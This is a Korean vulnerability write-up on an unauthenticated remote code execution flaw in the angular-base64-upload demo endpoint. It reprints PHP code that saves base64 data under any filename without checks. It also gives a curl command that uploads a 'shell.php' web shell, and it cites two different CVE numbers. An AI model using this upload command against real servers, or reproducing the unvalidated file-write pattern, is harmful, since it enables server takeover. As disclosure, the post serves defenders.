[하루한줄] CVE-2024-42640 : Angular의 업로드 파일 검증 미흡으로 인한 Unauthenticated RCE

URL

Target

  • angular-base64-upload < v0.1.21

Explain

angular-base64-upload은 base64로 인코딩된 파일을 업로드하는 라이브러리 입니다. CVE-2024-42620 취약점은 angular-base64-upload/demo/server.php 엔드포인트에서 발생하며 인증되지 않은 원격 공격자가 임의의 파일을업로드할 수 있는 취약점 입니다.

<?php
    class Base64File
    {
      public $base64 = '';
      public $filename = '';
      private $folder = 'uploads';
    
      function __construct($attrs)
      {
        $this->base64 = $attrs['base64'];
        $this->filename = $this->folder.'/'.$attrs['filename'];
        $this->decodeBase64File();
        return $this;
      }
    
      function decodeBase64File() {
          $ifp = fopen($this->filename, 'w');
          fwrite( $ifp, base64_decode( $this->base64) );
          fclose($ifp);
          return $ifp;
      }    
    }

    //parse request payload
    $postdata = file_get_contents("php://input");
    $request = json_decode($postdata, true);
    //end parse
  
    $file = new Base64File($request);
    echo $file->filename;  
?>

위 코드는 인코딩된 파일을 받아 어떠한 검증도 하지 않고 파일을 저장합니다.

따라서 아래와 같이 인코딩된 파일을 인자로 서버에 업로드 한 후, uploads 폴더 내 저장된 파일에 접근하면 임의 명령어를 실행할 수 있습니다.

curl -lk -X POST \
     -H "Content-Type: application/json" \
     -d '{"base64": "<base64-content>", "filename": "shell.php"}' \
     "http://$domain/{node_modules/bower_components}/angular-base64-upload/demo/server.php"


본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.